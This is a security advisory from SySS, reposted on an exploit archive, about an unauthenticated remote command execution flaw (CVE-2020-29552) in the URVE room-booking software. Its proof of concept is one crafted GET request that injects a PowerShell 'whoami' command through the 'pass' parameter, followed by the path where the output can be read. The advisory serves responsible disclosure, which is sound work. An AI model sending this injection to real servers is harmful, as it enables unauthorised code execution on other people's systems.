# URVE Software Build 24.03.2020 Authentication Bypass / Remote Code Execution

Authored by Erik Steltzner | Site syss.de

Posted Dec 25, 2020

URVE Software build version 24.03.2020 suffers from an authentication bypass that allows for remote code execution.

tags | exploit, remote, code execution
advisories | CVE-2020-29552
SHA-256 | 160a33a05aadafb26e1ae403a476e993a77dcee0164cdffda083878ccc7c5f82 **Download** | **Favorite** | **View**

Related Files

**Share This**

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID:               SYSS-2020-040
Product:                   URVE Software
Manufacturer:              Eveo Sp. z o.o.
Affected Version(s):       Build "24.03.2020"
Tested Version(s):         Build "24.03.2020"
Vulnerability Type:        Missing Authentication for Critical Function
(CWE-306)
Risk Level:                High
Solution Status:           Open
Manufacturer Notification: 2020-11-10
Solution Date:             2020-11-18
Public Disclosure:         2020-12-23
CVE Reference:             CVE-2020-29552
Authors of Advisory:       Erik Steltzner, SySS GmbH
                           Christoph Ritter, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

URVE is a system for reserving rooms which also provides a web interface
with event scheduler.

The manufacturer describes the product as follows (see [1] and [2]):

'Booking rooms on touchscreen and easy integration with MS Exchange,
Lotus, Office 365, Google Calendar and other systems.
Great looking schedules right at the door.
Fight conference room theft with our 10" touchscreen wall-mounted
panel.'

'Manage displays, edit playlists and HTML5 content easily.
Our server can be installed on any Windows and works smoothly from
web browser.'

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

With a manipulated GET request, it is possible to execute unauthenticated
system commands.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Using the following request, it is possible to execute a PowerShell
command.

_internal/pc/vpro.php?mac=0&ip=0&operation=0&usr=0&pass=0%3bpowershell+-c+
"whoami+>+C%3a\URVE\Profiles\urve\uploads\out"

The following path contains the output of the previously executed command.

/urve/uploads/out

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The passed GET parameters should be escaped.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2020-10-28: Vulnerability discovered
2020-11-10: Vulnerability reported to manufacturer
2020-11-18: Patch released by manufacturer
2020-12-23: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Website for URVE
    https://urve.co.uk/system-rezerwacji-sal
[2] Product website for URVE
    https://urve.co.uk
[3] SySS Security Advisory SYSS-2020-040

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-040.txt
[4] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Erik Steltzner and Christoph
Ritter of SySS GmbH.

E-Mail: erik.steltzner@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Erik_Steltzner.asc
Key ID: 0x4C7979CE53163268
Key Fingerprint: 6538 8216 555B FBE7 1E01 7FBD 4C79 79CE 5316 3268

E-Mail: christoph.ritter@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Christoph_Ritter.asc
Key ID: 0x05458E666D35EAE8
Key Fingerprint: 9FB0 1B9B 2F72 3DD5 3AF3 62D8 0545 8E66 6D35 EAE8

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:
```

Follow us on Twitter

Subscribe to an RSS Feed

**File Archive:** December 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|---|---|---|---|---|---|---|
| | | | | 1 | 2 | 3 |
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |

**Top Authors In Last 30 Days**

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

**File Tags**

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

**File Archives**

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

**Systems**

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

```
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEZTiCFlVb++ceAX+9THl5zlMWMmgFAl/i+0kACgkQTHl5zlMW
Mmhhaw//d2l3sRso92bYcrGumrmv7ab7cOE6RRYnJ7UWRlMgFBERpE2n/ec1yi8A
cC/8xmWN9zmb5GMRI6QAkBPHLFXhNKmsukv/Rr/Zo2w8mwFRySiv5XWPJ/v331rY
EKwJVA7PF0gxcucP5fNjgzf2fkLxxX7vWvPR4up6YiXFCIRpQ8SvOSMf8S3w/CeW
fORR5QaCKHuzLRHk78oZw9Yrs3xdKbWXdu9zU9hycoHYj5oBOFHRuGG2B/Xvwuqj
g7UjLZ4QEIWP25yFs5QybsMy2psJuig8B8/E2D1oXxNgbvh/jBrT4kdvpmBDkjC3
yW+beC7iRTJ/LH/v5G66ytB6WCpUq0uBFhraBunLBbhMavIggmHvT9dRaGOswgWZ
TKoREn46HtqbNHhpToLEkJTqEf4Onv8ih+MjYCSgKXdsuxhtEvMRBod3XFb028M0
id+Q6Syu34TSLu1ArnDoDpLWcUU6tZ4r+rn+ZDOJd3Jkykdk+h0ewEpp7LfhKBFO
QpbfU1by1Xs7nz8KK7QhDVnr6KCKBRtqQnVvmUQLZLxwOjARJSjj5TptA5rUB7U1
7ZVFKad+d9v1I0bMwHc5J3XjPgNajhOSa9haFad1zMyuJ5+Zb2qETMg5griCY6nQ
RHixBPt6QJaN+rPHnavCY2gcRafQHUBYsfwok6iOk+4MXRX8SzM=
=AvxJ
-----END PGP SIGNATURE-----
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites